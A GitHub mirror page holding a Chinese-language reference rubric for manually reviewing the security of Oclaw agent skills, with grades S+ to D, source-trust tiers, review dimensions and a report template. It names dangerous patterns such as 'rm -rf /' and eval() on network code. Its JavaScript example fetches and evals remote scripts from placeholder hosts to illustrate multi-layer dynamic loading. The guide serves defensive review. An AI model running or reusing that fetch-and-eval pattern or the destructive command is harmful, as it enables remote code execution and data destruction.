mirror of
https://github.com/hansjone/oclaw.git
synced 2026-10-08 23:33:16 +08:00
- Relocate runtime/skills -> skills/; runtime_skills_root() prefers oclaw/skills with fallback to legacy runtime/skills for unmigrated trees. - session-bootstrap hook handler resolves repo root via PROJECT_ROOT. - Update architecture/migration docs and in-tree skill references. Co-authored-by: Cursor <cursoragent@cursor.com>
5.1 KiB
5.1 KiB
Oclaw 说明:以下为评级与检查维度参考,供人工审阅 skill 时使用。Oclaw 不根据本文件自动打分或拦截安装;实际风险控制依赖权限、审计、工具白名单与运行环境隔离。
Skill 安全审查量表(参考)
本文件提供人工审阅时可用的检查维度与分级思路,不作为 Oclaw 运行时强制契约。
评级标准
S+ 级
- 通过人工验证
- T1/T2 来源
- 满足所有 S 级要求
S 级
- T1/T2 来源
- 代码安全规范
- 依赖版本锁定
- 无动态代码加载
A 级
- 代码安全规范
- 依赖版本锁定
- 无动态代码加载
- 允许 T3 来源
B 级
- 无 C/D 级问题
- 存在改进空间
C 级
- 存在潜在安全漏洞
- 硬编码敏感信息
D 级(一票否决)
- 使用 eval() 执行不可信网络代码
- 存在 SQL 注入、命令注入等明显漏洞
- 未经确认上传本地文件到远程(T3 来源)
- 执行 rm -rf / 等系统破坏性命令
检查维度
1. 代码安全性检查
D级触发项:
- 使用
eval()执行不可信网络代码 - 使用
exec()、system()执行未过滤的用户输入 - 存在 SQL 注入、命令注入、XSS 等明显漏洞
- 存在已知的严重 CVE 漏洞
C级触发项:
- 存在潜在的安全漏洞(路径遍历、不安全的反序列化)
- 硬编码敏感信息(密码、API Key、Token)
2. 数据隐私性检查
D级触发项:
- 未经用户确认上传本地文件到远程(T3 来源)
- 静默收集密码、密钥等敏感信息
- 将敏感数据传输到未加密通道
C级触发项:
- 收集的数据超出功能说明范围
- 未明确告知用户数据使用情况
3. 执行安全性检查
D级触发项:
- 执行
rm -rf /或类似系统破坏性命令 - 无确认直接执行系统级危险操作
- 修改系统关键配置且无备份机制
C级触发项:
- 危险操作缺乏二次确认
- 关键操作无回滚机制
4. 依赖可靠性检查
检查 skill 是否加载动态代码:
- 从网络下载并执行代码
- 使用
fetch或curl获取远程脚本并执行 - 动态
import()不可信来源的模块
URL 递归检查(最多 2 层):
对动态加载的可执行文件进行递归检查:
- 第 1 层:Skill 代码中直接引用的动态 URL
- 第 2 层:第 1 层内容中引用的动态 URL
- 超过 2 层:发现第 3 层及以上动态加载 → 强制标记为 C 级
评级规则:
| 动态加载层级 | 评级影响 |
|---|---|
| 无动态加载 | 正常评级流程 |
| 仅第 1 层 | 根据来源分级处理 |
| 存在第 2 层 | 最高评级为 C 级 |
| 第 2 层后仍有动态加载 | 强制 C 级 |
来源分级处理:
- T1 来源:可加载官方动态代码,放宽至 B 级要求
- T2 来源:动态代码需来源验证,放宽至 C 级要求
- T3 来源:严格禁止未经验证的动态代码加载
C 级触发场景(多层动态加载):
// 示例:三层动态加载触发 C 级
// Skill 代码 → 加载 loader.js → 加载 runtime.js → 加载 exec.js
fetch('https://example.com/loader.js') // 第 1 层
.then(r => eval(r.text()))
// loader.js 中:
import('https://cdn.com/runtime.js') // 第 2 层
// runtime.js 中:
fetch('https://third.com/exec.js') // 第 3 层 → C 级
5. 来源可信度评估
T1 - 官方/顶级来源:
- 知名大型技术公司(Google, Microsoft, OpenAI, Anthropic, Meta, AWS)
- 顶级开源基金会(Apache, Linux 基金会)
- 有官方代码签名
T2 - 可信组织来源:
- 有实名认证的组织账号
- GitHub 组织账号(非个人)
- Stars > 1000 或有良好声誉
T3 - 社区/个人来源:
- 个人开发者账号
- 小型社区项目
- 来源无法明确验证
6. Markdown 内嵌代码检查
SKILL.md 文件中的代码块也需要检查:
高风险代码块:
- 包含代码执行类危险函数(如 eval/exec)
- 包含系统破坏性命令
- 包含敏感信息(凭据/密钥)
- 包含未经验证的网络下载执行
中风险代码块:
- 可执行的脚本代码
- 包含网络请求或文件操作的代码
低风险代码块:
- 配置/数据文件示例
- 代码片段演示(不完整)
- 单行简单命令(无害)
报告格式
# Cocoloop Safe Check 安全认证报告
## 基本信息
- Skill 名称: [名称]
- 来源: [GitHub 链接/本地路径]
- 来源等级: [T1/T2/T3]
## 评级结果
评级: [S+/S/A/B/C/D]
评价: [一句话评价]
## 检查依据
### 通过项
- [检查项]
### 注意事项
- [注意事项]
### 问题项
- [问题项]
## 详细检查结果
[各维度详细检查结果]
## 使用建议
[推荐使用场景和安全使用指南]
快速检查清单
- 无 eval/exec/system 等危险函数
- 无硬编码敏感信息
- 无 SQL/命令注入漏洞
- 依赖版本已锁定
- 无未经验证的动态代码加载
- 来源可信(T1/T2 优先)
- 有完善的输入验证
- 错误处理不泄露敏感信息